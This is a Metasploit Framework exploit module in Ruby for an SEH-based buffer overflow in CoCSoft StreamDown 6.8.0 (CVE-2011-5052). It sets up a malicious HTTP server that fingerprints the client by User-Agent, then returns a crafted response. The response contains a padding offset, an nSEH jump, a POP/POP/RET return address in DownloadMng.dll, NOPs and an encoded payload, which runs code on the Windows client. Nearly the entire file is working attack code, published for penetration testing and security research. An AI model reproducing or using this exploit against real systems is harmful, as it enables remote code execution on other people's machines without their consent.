80 lines
2.1 KiB
Ruby
80 lines
2.1 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'CoCSoft StreamDown 6.8.0 Buffer Overflow',
|
|
'Description' => %q{
|
|
Stream Down 6.8.0 seh based buffer overflow triggered when processing
|
|
the server reponse packet.During the overflow a structured exception
|
|
handler is overwritten.
|
|
},
|
|
'Author' => 'Fady Mohamed Osman <fady.mohamed.osman[at]gmail.com>',
|
|
'References' =>
|
|
[
|
|
['CVE', '2011-5052'],
|
|
['OSVDB', '78043'],
|
|
['BID', '51190'],
|
|
['URL', 'http://www.dark-masters.tk/'],
|
|
['URL', 'http://secunia.com/advisories/47343/'],
|
|
['EDB', '18283']
|
|
],
|
|
'Privileged' => false,
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'seh',
|
|
'InitialAutoRunScript' => 'migrate -f'
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "\x00\xff\x0a"
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'StreamDown 6.8.0',
|
|
{
|
|
'Offset' => 16388,
|
|
'Ret' => 0x10019448 #POP/POP/RET in DownloadMng.dll
|
|
}
|
|
],
|
|
],
|
|
'DisclosureDate' => 'Dec 27 2011', # as an actual security bug
|
|
'DefaultTarget' => 0,
|
|
'License' => MSF_LICENSE
|
|
))
|
|
end
|
|
|
|
def on_request_uri(cli,request)
|
|
vprint_status("Requested: #{request.uri}")
|
|
|
|
# No point to continue if the client isn't what we interested in
|
|
ua = request.headers['User-Agent']
|
|
if ua !~ /CoCSoft Stream Download/i
|
|
print_error("Target not supported: #{ua}")
|
|
send_not_found(cli)
|
|
return
|
|
end
|
|
|
|
nseh = "\xeb\x06" + rand_text_alpha(2)
|
|
seh = [target.ret].pack('V')
|
|
offset_to_nseh = target['Offset']
|
|
nops = make_nops(10)
|
|
sploit = rand_text_alpha(offset_to_nseh) + nseh + seh + nops + payload.encoded
|
|
cli.put(sploit)
|
|
close_client(cli)
|
|
end
|
|
end
|